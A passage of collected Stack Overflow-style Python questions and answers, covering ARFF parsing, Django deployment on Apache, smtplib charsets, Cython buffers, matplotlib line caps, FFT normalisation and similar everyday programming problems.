for idx,att_name in enumerate(header):
arff_str.write("@attribute '%s' %s\n" % (name,attributes[att_name]))
because `name` is not defined; you probably mean `att_name`.
Perhaps we can short-circuit all this stuffing about: post a copy of your
output file (zipped if it's huge) on the web somewhere so that we can see for
ourselves what might be disturbing its consumers. Please do edit your question
to say which line(s) exhibits(s) the problem.
By the way, you say some of the data is string rather than integer, and the
problem goes away if you coerce the data to `int` by doing `features[name] =
int(value)` ... what is 'features'?? What is 'name'??
Are any of those strings `unicode` instead of `str`?
**Update 2 (after bad file posted on net)**
No info supplied on which line(s) exhibits(s) the problem. As it turned out,
no lines exhibited the described problem with attribute 479. I wrote this
checking script:
import re, sys
# sample data line:
# {40 1,101 3,319 2,375 2,525 2,530 bug}
# Looks like all data lines end in ",530 bug}" or ",530 other}"
pattern1 = r"\{(?:\d+ \d+,)*\d+ \w+\}$"
matcher1 = re.compile(pattern1).match
pattern2 = r"\{(?:\d+ \d+,)*"
matcher2 = re.compile(pattern2).match
bad_atts = re.compile(r"\D\d+\s+\W").findall
got_data = False
for lino, line in enumerate(open(sys.argv[1], "r"), 1):
if not got_data:
got_data = line.startswith('@data')
continue
if not matcher1(line):
print
print lino, repr(line)
m = matcher2(line)
if m:
print "OK up to offset", m.end()
print bad_atts(line)
Sample output (wrapped at column 80):
581 '{2 1,7 1,9 1,12 1,13 1,14 1,15 1,16 1,17 1,18 1,21 1,22 1,24 1,25 1,26 1,27
1,29 1,32 1,33 1,36 1,39 1,40 1,44 1,48 1,49 1,50 1,54 1,57 1,58 1,60 1,67 1,68
1,69 1,71 1,74 1,75 1,76 1,77 1,80 1,88 1,93 1,101 ,103 6,104 2,109 20,110 3,11
2 2,114 1,119 17,120 4,124 39,128 5,137 1,138 1,139 1,162 1,168 1,172 18,175 1,1
76 6,179 1,180 1,181 2,185 2,187 9,188 8,190 1,193 1,195 2,196 4,197 1,199 3,201
3,202 4,203 5,206 1,207 2,208 1,210 2,211 1,212 5,213 1,215 2,216 3,218 2,220 2
,221 3,225 8,226 1,233 1,241 4,242 1,248 5,254 2,255 1,257 4,258 4,260 1,266 1,2
68 1,269 3,270 2,271 5,273 1,276 1,277 1,280 1,282 1,283 11,285 1,288 1,289 1,29
6 8,298 1,299 1,303 1,304 11,306 5,308 1,309 8,310 1,315 3,316 1,319 11,320 5,32
1 11,322 2,329 1,342 2,345 1,349 1,353 2,355 2,358 3,359 1,362 1,367 2,368 1,369
1,373 2,375 9,377 1,381 4,382 1,383 3,387 1,388 5,395 2,397 2,400 1,401 7,407 2
,412 1,416 1,419 2,421 2,422 1,425 2,427 1,431 1,433 7,434 1,435 1,436 2,440 1,4
49 1,454 2,455 1,460 3,461 1,463 1,467 1,470 1,471 2,472 7,477 2,478 11,479 31,4
82 6,485 7,487 1,490 2,492 16,494 2,495 1,497 1,499 1,501 1,502 1,503 1,504 11,5
06 3,510 2,515 1,516 2,517 3,518 1,522 4,523 2,524 1,525 4,527 2,528 7,529 3,530
bug}\n'
OK up to offset 203
[',101 ,']
709 '{101 ,124 2,184 1,188 1,333 1,492 3,500 4,530 bug}\n'
OK up to offset 1
['{101 ,']
So it looks like the attribute with `att_idx == 101` can sometimes contain the
empty string `''`. You need to sort out how this attribute is to be treated.
It would help your thinking if you unwound this Byzantine code:
if ((not att_type == constants.ARRF_NUMERIC)
or not ((value == None) or value == 0)):
_Aside: that "expletive deleted" code won't run; it should be ARFF, not ARRF_
into:
if value or att_type != constants.ARFF_NUMERIC:
or maybe just `if value:` which will filter out all of `None`, `0`, and `""`.
Note that `att_idx == 101` corresponds to the attribute "priority" which is
given a STRING type in the ARFF file header:
[line 103] @attribute 'priority' STRING
By the way, your statement about `features[name] = int(value)` "fixing" the
problem is very suspicious; `int("")` raises an exception.
It may help you to read the warning at the end of this [wiki section about
sparse ARFF
files](http://weka.wikispaces.com/ARFF+%28stable+version%29#Sparse%20ARFF%20files).
|
Django admin page missing styling when deployed on Apache
Question: I deployed my Django project on Apache but when I navigate to the admin page,
it doesn't seem to have the same formatting as the test server that is
included with Django. I have tinkered around with the configurations and soft
links quite a bit but have had no success thus far. I'm hoping that someone
more experienced than me in Django and Apache can spot check my issue and
diagnose the problem. Find below the steps I took while installing Django as
well as the contents of the configuration files.
installation process
svn co http://code.djangoproject.com/svn/django/trunk/ /usr/share/django
chown -R www-data:www-data /usr/share/django
ln -s /usr/share/django/django /usr/lib/python2.6/dist-packages/django
ln -s /usr/share/django/django/bin/django-admin.py /usr/local/bin/django-admin.py
mkdir /var/www/mydjango/django_projects
mkdir /var/www/mydjango/django_templates
mkdir /var/www/mydjango/media
ln -s /usr/share/django/django/contrib/admin/media /var/www/mydjango/admin_media
django-admin.py startproject /var/www/mydjango/django_projects/mydjango
/var/www/mydjango/django_projects/mydjango/manage.py collectstatic --noinput
(I've added the static files generated to
/usr/share/django/django/contrib/admin/media since it was empty)
settings.py
MEDIA_ROOT = '/var/www/mydjango/media/admin/'
(I've also tried '/var/www/mydjango/media/')
MEDIA_URL = 'http://mydjango.mydomain.com/media/admin/'
STATIC_ROOT = ''
STATIC_URL = '/static/'
http.conf
Alias /admin_media/ /var/www/mydjango/admin_media/
Alias /media/ /var/www/mydjango/media/
<Directory "/admin_media/">
Order deny,allow
Allow from all
</Directory>
<Directory "/media/">
Order deny,allow
Allow from all
</Directory>
WSGIScriptAlias / /var/www/apache/django.wsgi
<Directory /var/www/apache/>
Order deny,allow
Allow from all
</Directory>
django.wsgi
import os
import sys
path = '/var/www/mydjango/django_projects/mydjango'
if path not in sys.path:
sys.path.append(path)
os.environ['DJANGO_SETTINGS_MODULE'] = 'mydjango.settings'
import django.core.handlers.wsgi
application = django.core.handlers.wsgi.WSGIHandler()
Answer: Moderna Django versions do not look for admin stuff in MEDIA_URL. Use
[collectstatic](https://docs.djangoproject.com/en/1.4/ref/contrib/staticfiles/).
|
How to set default PS1 value for interactive python?
Question: I'm attempting to colorize my python interpreter to help visually separate
text noise. So if I start interactive python it gives me plain text. I can do
this:
import sys
sys.ps1 = "\033[0;34m>>> \033[0m"
sys.ps2 = "\033[1;34m... \033[0m"
However if I exit the interpreter and go back in the values revert to their
default, which isn't surprising in the slightest. My question is how would I
save these values and use them as the default?
Answer: If the environment variable `PYTHONSTARTUP` is defined when Python starts (in
interactive mode), Python will read and execute that file. Look at the
`ENVIRONMENT VARIABLES` section of [this
document](http://docs.python.org/using/cmdline.html) for more information.
So if you put your `sys.ps1` commands into `~/.pythonrc.py` and pointed
`PYTHONSTARTUP` at that file...
export PYTHONSTARTUP=~/.pythonrc.py
...you would be all set.
You may also want to check out [ipython](http://ipython.org/), which is a
Python interactive interpreter with all sorts of fancy features and
customization possibilities.
|
Modifying python programs (python 2.7)
Question: I have a question concerning coding in python for a homework assignment, but I
need to mention first that I've never coded in python before. The assignment
is supposed to get us used to basics, so apologies ahead of time for the lack
of knowledge (and really long post).
Our job is to modify the file randline.py (given here in its originality):
import random, sys
from optparse import OptionParser
class randline:
def __init__(self, filename):
f = open(filename, 'r')
self.lines = f.readlines()
f.close()
def chooseline(self):
return random.choice(self.lines)
def main():
version_msg = "%prog 2.0"
usage_msg = """%prog [OPTION]... FILE
Output randomly selected lines from FILE."""
parser = OptionParser(version=version_msg,
usage=usage_msg)
parser.add_option("-n", "--numlines",
action="store", dest="numlines", default=1,
help="output NUMLINES lines (default 1)")
options, args = parser.parse_args(sys.argv[1:])
try:
numlines = int(options.numlines)
except:
parser.error("invalid NUMLINES: {0}".
format(options.numlines))
if numlines < 0:
parser.error("negative count: {0}".
format(numlines))
if len(args) != 1:
parser.error("wrong number of operands")
input_file = args[0]
try:
generator = randline(input_file)
for index in range(numlines):
sys.stdout.write(generator.chooseline())
except IOError as (errno, strerror):
parser.error("I/O error({0}): {1}".
format(errno, strerror))
if __name__ == "__main__":
main()
We need to make it so that the program can take in multiple files, instead of
just one, but the program still has to treat all the files as if they were one
large file. Also, if one of the files does not end in a new line, we have to
append a new line. I tried this, but the issue is that this adds a new line to
the end of each file, regardless of if it ends in a new line originally or
not. Plus my syntax is wrong to begin with. I get an error everytime I try to
run the modified program.
And I also have to add new options. I have unique working, but another option
I'm supposed to make is without-replacement, which makes it so that the each
output line only appears at max the number of times it appeared as input (if
we don't use the -u option, the only time the output can be a duplicate is if
it was a duplicate in the input file to begin with). I know my method is
wrong, since sets automatically get rid of all duplicates and I only want it
so the output lines write without replacement. But I have no idea what else I
can use.
import random, sys, string
from optparse import OptionParser
version_msg = "%prog 2.0"
usage_msg = """%prog [OPTION]... FILE
Output randomly selected lines from FILE"""
parser = OptionParser(version=version_msg,
usage=usage_msg)
parser.add_option("-n", "--numlines",
action="store", dest="numlines", default=1,
help="output NUMLINES lines (default 1)")
parser.add_option("-u", "--unique", action="store_true",
dest="unique", default=False,
help="ignores duplicate lines in a file")
parser.add_option("-w", "--without-replacement", action="store_true",
dest="without", default=False,
help="prints lines without replacement")
options, args = parser.parse_args(sys.argv[1:])
without = bool(options.without)
unique = bool(options.unique)
try:
numlines = int(options.numlines)
except:
parser.error("invalid NUMLINES: {0}".
format(options.numlines))
def main():
if numlines < 0:
parser.error("negative count: {0}".
format(numlines))
##Here is one of the major changes
input_file = args[0]
count = 0
while (count < len(args)-1):
input_file = input_file + '\n' + args[count + 1]
count = count + 1
##And here
try:
generator = randline(input_file)
for index in range(numlines):
if options.without:
line = generator.chooseline()
if line not in no_repeat:
sys.stdout.write(line)
no_repeat.add(line)
else:
sys.stdout.write(generator.chooseline())
except IOError as (errno, strerror):
parser.error("I/O error({0}): {1}".
format(errno, strerror))
class randline:
def __init__(self, filename):
if unique:
uniquelines = set(open(filename).readlines())
f = open(filename, 'w').writelines(set(uniquelines))
f = open(filename, 'r')
if without:
countlines = len(f.readlines())
if (countlines < numlines):
parser.error("too few lines in input".
format(without))
self.lines = f.readlines()
f.close()
def chooseline(self):
return random.choice(self.lines)
if __name__ == "__main__":
main()
To sum, I can't get it to read multiple files properly (while still treating
all the files as one long file) and the without-replacement option doesn't
work correctly either.
EDIT: Ah, I realized since I was passing file names in the argument list so
even though they're only text files, they're not treated as strings. I tried
to change it, but it still doesn't work exactly:
input_file = args[0]
count = 0
content = open(args[0]).read()
while (count < len(args) - 1):
content = content + open(args[count + 1]).read()
count = count + 1
open(input_file, 'wb').write(content)
try:
generator = randline(input_file)
It keeps adding an extra newline between the two files. I want to the files
joined line by line, but I get a blank line between where the first file ends
and the second one begins.
EDIT 2.0: Oh wait, got it. Whoops. I just need help with the without-
replacement option. I think I should split it line by line and store it in a
list to check against every time? Is there a more efficient way (only using
the modules I've already written, we can't use anything else)
Answer: First of all, you need to read the first input file. So you need to open() the
first input file you read as well. To add the newline, modify the while loop
to check if the file (after you open() it) has a new line at the end, and if
it doesn't, put one there.
In order to implement the without replacement option, you need some way to
check if you already have read a line. In order to split a file you've read in
by lines, just use
input.split('\n')
Your randline constructor is getting passed the contents of the files, so what
it's trying to do in the constructor doesn't make sense.
Sorry if this answer doesn't seem to make sense; I've gone through and tried
to point out different things you need to fix. I can't comment on stuff
because I have no reputation, so I have to post an answer :. Let me know if
this helps!
* * *
To do without replacement, i would make a dictionary that holds strings as
keys, and ints as values. Loop through all the input text, and every time you
see a line, add it to the dictionary and increment the associated integer.
Then, when you call chooseline, check to make sure that the value in the
dictionary for the string you got from picking a random line is greater than
0. If it is, decrement the associated value, and then return the string you
picked. Otherwise, pick a new line.
* * *
Reply to Edit 2.0: You can do that. Then, everytime you pick a random line,
you remove it from the list. I think that would work.
|
BeautifulSoup incorrectly parses page and doesn't find links
Question: Here is a simple code in python 2.7.2, which fetches site and gets all links
from given site:
import urllib2
from bs4 import BeautifulSoup
def getAllLinks(url):
response = urllib2.urlopen(url)
content = response.read()
soup = BeautifulSoup(content, "html5lib")
return soup.find_all("a")
links1 = getAllLinks('http://www.stanford.edu')
links2 = getAllLinks('http://med.stanford.edu/')
print len(links1)
print len(links2)
Problem is that it doesn't work in second scenario. It prints 102 and 0, while
there are clearly links on the second site. BeautifulSoup doesn't throw
parsing errors and it pretty prints markup ok. I suspect it maybe caused by
first line from source of med.stanford.edu which says that it's xml (even
though content-type is: text/html):
<?xml version="1.0" encoding="iso-8859-1"?>
I can't figure out how to set up Beautiful to disregard it, or workaround. I'm
using html5lib as parser because I had problems with default one (incorrect
markup).
Answer: When a document claims to be XML, I find the lxml parser gives the best
results. Trying your code but using the lxml parser instead of html5lib finds
the 300 links.
|
Python: Use lru_cache on lambda function, or other ways to create cache for lambda function
Question: Is there anyway to make it work?
func=i_want_it_to_cache_everything(lambda a,b:a+b)
And it **has to be done in one line**...
Update2:
I figured out the solution (thanks to everyone who replied!). But... There is
an interesting phenomenon: caching slows down program?
import functools,datetime,timeit
@functools.lru_cache(maxsize=50000)
def euclidean_distance3(p1,p2):
return (p1[0]-p2[0])**2+(p1[1]-p2[1])**2+(p1[2]-p2[2])**2+(p1[3]-p2[3])**2
euclidean_distance=(functools.lru_cache(maxsize=50000)(lambda p1,p2: (p1[0]-p2[0])**2+(p1[1]-p2[1])**2+(p1[2]-p2[2])**2+(p1[3]-p2[3])**2))
euclidean_distance2=lambda p1,p2: (p1[0]-p2[0])**2+(p1[1]-p2[1])**2+(p1[2]-p2[2])**2+(p1[3]-p2[3])**2
print(datetime.datetime.now())
def test1():
for z in range(50):
for i in range(200):
for j in range(200):
euclidean_distance((i,i,i,i),(j,j,j,j));
def test2():
for z in range(50):
for i in range(200):
for j in range(200):
euclidean_distance2((i,i,i,i),(j,j,j,j));
def test3():
for z in range(50):
for i in range(200):
for j in range(200):
euclidean_distance3((i,i,i,i),(j,j,j,j));
t1=timeit.Timer(test1)
print(t1.timeit(1))
t2=timeit.Timer(test2)
print(t2.timeit(1))
t3=timeit.Timer(test3)
print(t3.timeit(1))
print(euclidean_distance.cache_info())
print(euclidean_distance3.cache_info())
output:
9.989034592910151
4.936129879313011
10.528836308312947
CacheInfo(hits=1960000, misses=40000, maxsize=50000, currsize=40000)
CacheInfo(hits=1960000, misses=40000, maxsize=50000, currsize=40000)
Answer:
>>> from functools import lru_cache
>>> x = lru_cache()(lambda a,b:a+b)
>>> x(2,3)
5
>>> x(4,2)
6
>>> x(2,3)
5
>>> x.cache_info()
CacheInfo(hits=1, misses=2, maxsize=100, currsize=2)
|
Python- Import Multiple Files to a single .csv file
Question: I have 125 data files containing two columns and 21 rows of data and I'd like
to import them into a single .csv file (as 125 pairs of columns and only 21
rows). This is what my data files look like:
I am fairly new to python but I have come up with the following code:
import glob
Results = glob.glob('./*.data')
fout='c:/Results/res.csv'
fout=open ("res.csv", 'w')
for file in Results:
g = open( file, "r" )
fout.write(g.read())
g.close()
fout.close()
The problem with the above code is that all the data are copied into only two
columns with 125*21 rows.
Any help is very much appreciated!
Answer: This should work:
import glob
files = [open(f) for f in glob.glob('./*.data')] #Make list of open files
fout = open("res.csv", 'w')
for row in range(21):
for f in files:
fout.write( f.readline().strip() ) # strip removes trailing newline
fout.write(',')
fout.write('\n')
fout.close()
Note that this method will probably fail if you try a large number of files, I
believe the default limit in Python is 256.
|
MySQL and Python charset error
Question: I am currently working on formatting data between CSV files and an mySQL
database. I am using the MySQLdb library to manage the connection, but it
seems to be some problems with formatting. I have to admit that I'm not a very
experienced in neither mySQL or Python, but with a pragmatic approach most
have been working out great until now.
#!/usr/bin/python
# -*- coding: utf-8 -*-
import MySQLdb
QUERY = "SELECT * FROM searches WHERE searchdate BETWEEN '2011-08-08' AND '2011-08-14';"
conn = MySQLdb.connect (unix_socket = '/opt/local/var/run/mysql5/mysqld.sock',host = "localhost", user = "username", passwd= "passwd", db="db")
c = conn.cursor()
c.execute(QUERY)
for row in c.fetchall():
print row
This is the script which extracts the records from the database. Later in the
process I want to extract the data from each of the line and format this into
a CSV, but for the moment my problem is that the data printed to screen looks
like this:
('\xc3\xa6nima', ' 1', ' 12782027', ' 35', datetime.date(2011, 8, 13))
('\xc3\xa6nima', ' 1', ' 12823616', ' 59', datetime.date(2011, 8, 10))
('\xc3\xa6oc', ' 1', ' 13078573', ' 55', datetime.date(2011, 8, 14))
('\xc3\xa6re', ' 1', ' 12516300', ' 35', datetime.date(2011, 8, 8))
('\xc3\xa6re v\xc3\xa6re deg', ' 1', ' 13145801', ' 59', datetime.date(2011, 8, 13))
('\xc3\xa6re v\xc3\xa6re deg og lammet', ' 1', ' 13145801', ' 59', datetime.date(2011, 8, 13))
('\xc3\xa6re v\xc3\xa6re jesu navn', ' 1', ' 13136667', ' 59', datetime.date(2011, 8, 11))
('\xc3\xa6rlig vuggevise', ' 1', ' 12386933', ' 35', datetime.date(2011, 8, 12))
('\xc3\xa6ror aleina', ' 1', ' 12867037', ' 35', datetime.date(2011, 8, 12))
('\xc3\xa6sj', ' 1', ' 13130891', ' 59', datetime.date(2011, 8, 8))
('\xc3\xa6thenor', ' 1', ' 12555673', ' 35', datetime.date(2011, 8, 10))
What I'm now having problems to understand is how I should get the data in a
compatible format. So I guess I want to know how I can access and alter the
charset in the database to UTF-8, and whether I need to rebuild all the data
or if there is an automatic way of dealing with this issue. I would also be
greatfull if anyone could point me in a direction of how I could format the
datatime.date with a built-in function (I know I could regex and rebuild, but
there is probably a more elegant solution).
In advance thank you for your help!
Answer: In your first column, some of the characters are not printable, so it is
converted into hex chars. The last column in a datetime object. Python
provides strftime function to convert it into string.
for row in c.fetchall():
print row[0], row[1], row[2], row[3], row[4].strftime('%Y-%m-%d')
will work.
Also, you can write to a file using
file.write(",".join((row[0], row[1], row[2], row[3], row[4].strftime('%Y-%m-%d'))))
where, file is file object. It will write as comma separated column. Here you
can see the original characters in file when you open it.
|
How do I import a module one level above and use the most recent definitions?
Question: **tests.py**
import unittest
import sys
import os
sys.path.append(os.path.abspath(os.path.join(os.path.dirname(__file__), os.path.pardir)))
import my_module.ext
print sys.path
print dir(my_module.ext)
But `dir` gives me the old functions. A month ago I `easy_install` an older
version, and when I run `python tests.py` I get all the old functions instead.
I need the new definitions which are currently living in `my_module.ext`
../
- my_module/
- __init__.py
- ext.py
- core.py
- lib.py
- tests
- tests.py
Any idea how to achieve this? Thanks. The reason of not installing it is
because it's a good practice to run tests before deploying the library.
FYI, they are not classes. `my_module` can be built into an egg.
Answer: Try sys.path.insert(0, /path/to/module) rather than sys.path.append
|
Converting malloc'ed buffers from C to Python without copy using Cython?
Question: In Cython, say I have a C function that returns a large buffer allocated with
malloc() and expected to be freed later with free().
Now I need to pass this buffer to Python as a (bytes) str object, which would
acquire ownership of it, and call free() later when the str object goes away.
Is this possible and how?
Answer: Have a look at <https://gist.github.com/1249305> for a implementation using
numpy.
If numpy is not an option then something like this could work, using a
memoryview:
from libc.stdlib cimport free
cimport fn # in here is the c function with signature: char * char_ret(int n);
cdef class BuffWrap:
cdef long siz
cdef char * _buf
cdef char[:] arr
def __cinit__(self, long siz):
self.siz = siz
self._buf = fn.char_ret(siz) # storing the pointer so it can be freed
self.arr = <char[:siz]>self._buf
def __dealloc__(self):
free(self._buf)
self.arr = None
# here some extras:
def __str__(self):
if self.siz<11:
return 'BuffWrap: ' + str([ii for ii in self.arr])
else:
return ('BuffWrap: ' + str([self.arr[ii] for ii in range(5)])[0:-1] + ' ... '
+ str([self.arr[ii] for ii in range(self.siz-5, self.siz)])[1:])
def __getitem__(self, ind):
""" As example of magic method. Implement rest of to get slicing
http://docs.cython.org/src/userguide/special_methods.html#sequences-and-mappings
"""
return self.arr[ind]
Note the method `__dealloc__` which will free the memory held by the pointer
when all references to an instance of `BuffWrap` disappear and it gets garbage
collected. This automatic deallocation is a good reason to wrap the whole
thing in a class.
I couldn't figure out how one could use the returned pointer and use it for
the buffer of, say, a bytearray. If someone knows, I'd be interested to see.
|
Subprocess Popen not working with pythonw.exe
Question: I want to be able to get the contents of stdout and stderr when I run the
following script on windows using pythonw.exe:
import subprocess
import sys
import os
import string
import time
tmpdir = 'c:/temp'
cmd = 'dir c:'
tmpfile = "tmp_%f" % (time.time())
tmpfile = os.path.normpath(os.path.join(tmpdir,tmpfile))
tmpfile2 = tmpfile+".bat"
tmpfile3 = tmpfile+".txt"
fa = open(tmpfile2,'w')
fa.write("@ECHO OFF > NUL\n")
fa.write('call '+cmd+"\n")
fa.close()
wcmd = []
wcmd.append(tmpfile2)
startupinfo = subprocess.STARTUPINFO()
startupinfo.dwFlags |= subprocess._subprocess.STARTF_USESHOWWINDOW
fb = open(tmpfile3,'w')
fb.write("\n")
fb.write(tmpfile2+"\n")
try:
procval = subprocess.Popen(wcmd, startupinfo=startupinfo, stdout=subprocess.PIPE, stderr=subprocess.STDOUT).communicate()
fb.write(str(procval)+"\n")
fb.write("Sucess")
fb.close()
except:
fb.write(str(procval)+"\n")
fb.write("Failure")
fb.close()
When I execute it using python.exe I get the expected output. When I run it
using pythonw.exe I end up on the exception side. If I run the popen with just
the command and the startupinfo flags the command will successfully complete
but no access to the data in the child processs. Everything that I read stated
that this should work but must be missing something. Any help would be greatly
appreciated.
Thanks, Randy
Answer: This is possibly a bug when using pythonw.exe
pythonw.exe starts a daemon process which doesn't have the normal access to
the standard file descriptors. The only thing you would need to do in your
script is to specifically set the 3rd fd for stdin:
p = subprocess.Popen(wcmd,
startupinfo=startupinfo,
stdout=subprocess.PIPE,
stderr=subprocess.STDOUT,
stdin=subprocess.PIPE)
procval = p.communicate()
|
Reading a list of lists from a file as list of lists in python
Question: I collected data in the form of list of lists and wrote the data into a text
file. The data in the text file looks like
[[123231,2345,888754],[223467,85645]]
I want to read it back and store in a list of lists in my program. But when I
do `read()` from the file and try creating a flat list then it takes
everything as a string and the interpretation changes totally and i am not
able to query the result I get after reading as normal list of lists in
python.
Can someone help me with reading the file and storing in the same format as
list of lists?
Thank you!
Answer: This looks like valid [JSON](http://docs.python.org/library/json.html).
So you can simply do:
import json
with open(myfilename) as f:
lst = json.load(f)
To store your "list of lists" in a file, do
with open(myfilename, "w") as f:
json.dump(lst, f)
|
How to set a charset in email using smtplib in Python 2.7?
Question: I'm writing a simple smtp-sender with authentification. Here's my code
SMTPserver, sender, destination = 'smtp.googlemail.com', '[email protected]', ['[email protected]']
USERNAME, PASSWORD = "user", "password"
# typical values for text_subtype are plain, html, xml
text_subtype = 'plain'
content="""
Hello, world!
"""
subject="Message Subject"
from smtplib import SMTP_SSL as SMTP # this invokes the secure SMTP protocol (port 465, uses SSL)
# from smtplib import SMTP # use this for standard SMTP protocol (port 25, no encryption)
from email.MIMEText import MIMEText
try:
msg = MIMEText(content, text_subtype)
msg['Subject']= subject
msg['From'] = sender # some SMTP servers will do this automatically, not all
conn = SMTP(SMTPserver)
conn.set_debuglevel(False)
conn.login(USERNAME, PASSWORD)
try:
conn.sendmail(sender, destination, msg.as_string())
finally:
conn.close()
except Exception, exc:
sys.exit( "mail failed; %s" % str(exc) ) # give a error message
It works perfect, untill I try to send non-ascii symbols (russian cyrillic).
How should i define a charset in a message to make it show in a proper way?
Thanks in advance!
UPD. I've changed my code:
text_subtype = 'text'
content="<p>Текст письма</p>"
msg = MIMEText(content, text_subtype)
msg['From']=sender # some SMTP servers will do this automatically, not all
msg['MIME-Version']="1.0"
msg['Subject']="=?UTF-8?Q?Тема письма?="
msg['Content-Type'] = "text/html; charset=utf-8"
msg['Content-Transfer-Encoding'] = "quoted-printable"
…
conn.sendmail(sender, destination, str(msg))
So, first time I spectify text_subtype = 'text', and then in header I place a
msg['Content-Type'] = "text/html; charset=utf-8" string. Is it correct?
**UPDATE** Finally, I've solved my message problem You should write smth like
msg = MIMEText(content.encode('utf-8'), 'plain', 'UTF-8')
Answer:
from email.header import Header
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
def contains_non_ascii_characters(str):
return not all(ord(c) < 128 for c in str)
def add_header(message, header_name, header_value):
if contains_non_ascii_characters(header_value):
h = Header(header_value, 'utf-8')
message[header_name] = h
else:
message[header_name] = header_value
return message
............
msg = MIMEMultipart('alternative')
msg = add_header(msg, 'Subject', subject)
if contains_non_ascii_characters(html):
html_text = MIMEText(html.encode('utf-8'), 'html','utf-8')
else:
html_text = MIMEText(html, 'html')
if(contains_non_ascii_characters(plain)):
plain_text = MIMEText(plain.encode('utf-8'),'plain','utf-8')
else:
plain_text = MIMEText(plain,'plain')
msg.attach(plain_text)
msg.attach(html_text)
This should give you your proper encoding for both text and headers regardless
of whether your text contains non-ASCII characters or not. It also means you
won't automatically use base64 encoding unnecessarily.
|
Matplotlib: linewidth is added to the length of a line
Question: When I draw a line segment in matplotlib the linewidth seems to be added to
the length of the line. Below my code (not the most pythonic code, but it
should do the trick). Am I doing something wrong or is this just a feature of
matplotlib?
import matplotlib.pyplot as plt
import numpy as np
L1=100
L2=75
L3=100
Y=3
N=5
l_prev=0
for l,c in zip(np.linspace(0,L1,N),range(N)) :
plt.plot([l_prev,l],[0,0],'r',linewidth=20)
l_prev=l
l_prev=L1
for l,c in zip(np.linspace(L1,L1+L2,N),range(N)) :
plt.plot([l_prev,l],[Y,Y],'g',linewidth=1)
l_prev=l
l_prev=L1
for l,c in zip(np.linspace(L1,L1+L3,N),range(N)) :
p = plt.plot([l_prev,l],[-Y,-Y],'b',linewidth=10)
l_prev=l
plt.axvspan(xmin=L1,xmax=L1)
plt.axis([-5,205,-5,5])
plt.show()
What I expected to see is three line segments: `[0,L1], [L1,L2] and [L1,L3]`.
But the first line `[0,L1]` extends to `L1` \+ 'the diameter'....
Answer: It looks like the default `solid_capstyle` is `projecting`, which isn't the
one you want:
plt.figure()
plt.plot([0, 100], [5, 5], linewidth=50, linestyle="-", c="blue",
solid_capstyle="butt")
plt.plot([0, 100], [15, 15], linewidth=50, linestyle="-", c="red",
solid_capstyle="round")
plt.plot([0, 100], [25, 25], linewidth=50, linestyle="-", c="purple",
solid_capstyle="projecting")
plt.axvline(x=100, c="black")
plt.xlim(0, 125)
plt.ylim(0, 30)
plt.savefig("cap.png")
|
How to upload image files to ipython notebook for further image processing
Question: Instead of working with generated plots and graphs I want to use existing
pictures to perform image processing on them. In
[`sage`](http://www.sagemath.org/) one writes:
from pylab import imread
image = imread(DATA+"image.png")
The [official help introduction](http://ipython.org/ipython-
doc/dev/interactive/htmlnotebook.html) is silent regarding this task / use-
case / problem.
Answer: After googleing and trying for 30 mins, I found out, that is actually quite
simple.
The notebook has file access to the folder it was launched from. So if one
started it in one's `home` folder one can access all the files from the `home`
folder directly.
from pylab import imread
image = imread("image.png")
|
Using IPython interchangeably with code module if IPython exists
Question: In an existing code snippet, I have
import sys
from code import InteractiveConsole
class FileCacher:
"Cache the stdout text so we can analyze it before returning it"
def __init__(self):
self.reset()
def reset(self):
self.out = []
def write(self, line):
self.out.append(line)
def flush(self):
output = '\n'.join(self.out)
self.reset()
return output
class Shell(InteractiveConsole):
"Wrapper around Python that can filter input/output to the shell"
def __init__(self):
self.stdout = sys.stdout
self.cache = FileCacher()
InteractiveConsole.__init__(self)
return
def get_output(self):
sys.stdout = self.cache
def return_output(self):
sys.stdout = self.stdout
def push(self, line):
self.get_output()
# you can filter input here by doing something like
# line = filter(line)
InteractiveConsole.push(self, line)
self.return_output()
output = self.cache.flush()
# you can filter the output here by doing something like
# output = filter(output)
print output # or do something else with it
return
if __name__ == '__main__':
sh = Shell()
sh.interact()
How do I modify this to use IPython's interactive shell if IPython is
available without changing the rest of the code if possible.
I attempted swapping out line 2 `from code import InteractiveConsole` with
`from IPython.core import interactiveshell as InteractiveConsole` but
obviously, it's not a directly interchangeable class.
What's the best way to do this (with minimal change to the rest of the code
base) with a try except and using `IPython` in preference over `code` module
when `IPython` exists?
Answer: Here's my own attempt:-
import sys
from code import InteractiveConsole
class FileCacher:
"Cache the stdout text so we can analyze it before returning it"
def __init__(self):
self.reset()
def reset(self):
self.out = []
def write(self, line):
self.out.append(line)
def flush(self):
output = '\n'.join(self.out)
self.reset()
return output
class Shell(InteractiveConsole):
"Wrapper around Python that can filter input/output to the shell"
def __init__(self):
self.stdout = sys.stdout
self.cache = FileCacher()
InteractiveConsole.__init__(self)
return
def get_output(self):
sys.stdout = self.cache
def return_output(self):
sys.stdout = self.stdout
def push(self, line):
self.get_output()
# you can filter input here by doing something like
# line = filter(line)
InteractiveConsole.push(self, line)
self.return_output()
output = self.cache.flush()
# you can filter the output here by doing something like
# output = filter(output)
print output # or do something else with it
return
if __name__ == '__main__':
try:
import IPython
IPython.embed()
except:
sh = Shell()
sh.interact()
which seems to work fine but I probably lost the `cache` and `stdout` custom
methods/functionalities.
Any criticism, edits and improvement suggestions welcome!
|
Difference in FFT between IDL and Python
Question: I'm passing some simple IDL code to Python. However the returned FFT values
form the SciPy/NumPy packages is different than the IDL one and I can't find
out why.
Reducing it all to a simple example of 8 elements I found that the SciPy/NumPy
routines return values that are 8 (2^3) times bigger than the IDL ones (a
normalization problem I thought).
Here is the example code (copied from
[here](http://scipy.org/Numpy_Example_List#head-3630ad1b5548a4e75ae976d678853e3a197c84fe))
in both languages:
## IDL
signal = ([-2., 8., -6., 4., 1., 0., 3., 5.])
fourier = fft(signal)
print, fourier
returns
> ( 1.62500, 0.00000) ( 0.420495, 0.506282) ( 0.250000, 0.125000) ( -1.17050,
> -1.74372) ( -2.62500, -0.00000) ( -1.17050, 1.74372) ( 0.250000, -0.125000)
> ( 0.420495, -0.506282)
## Python
from scipy.fftpack import fft
import numpy as N
…
signal = N.array([-2., 8., -6., 4., 1., 0., 3., 5.])
fourier = fft(signal)
print fourier
returns
> [ 13. +0.j , 3.36396103 +4.05025253j, 2. +1.j , -9.36396103-13.94974747j,
> -21. +0.j , -9.36396103+13.94974747j, 2. -1.j , 3.36396103 -4.05025253j]
I did it with the NumPy package and I got the same results. I tried also
`print fft(signal, 8 )` just in case but it returned the same, as expected.
However that's not all, coming back to my real array of 256 elements I found
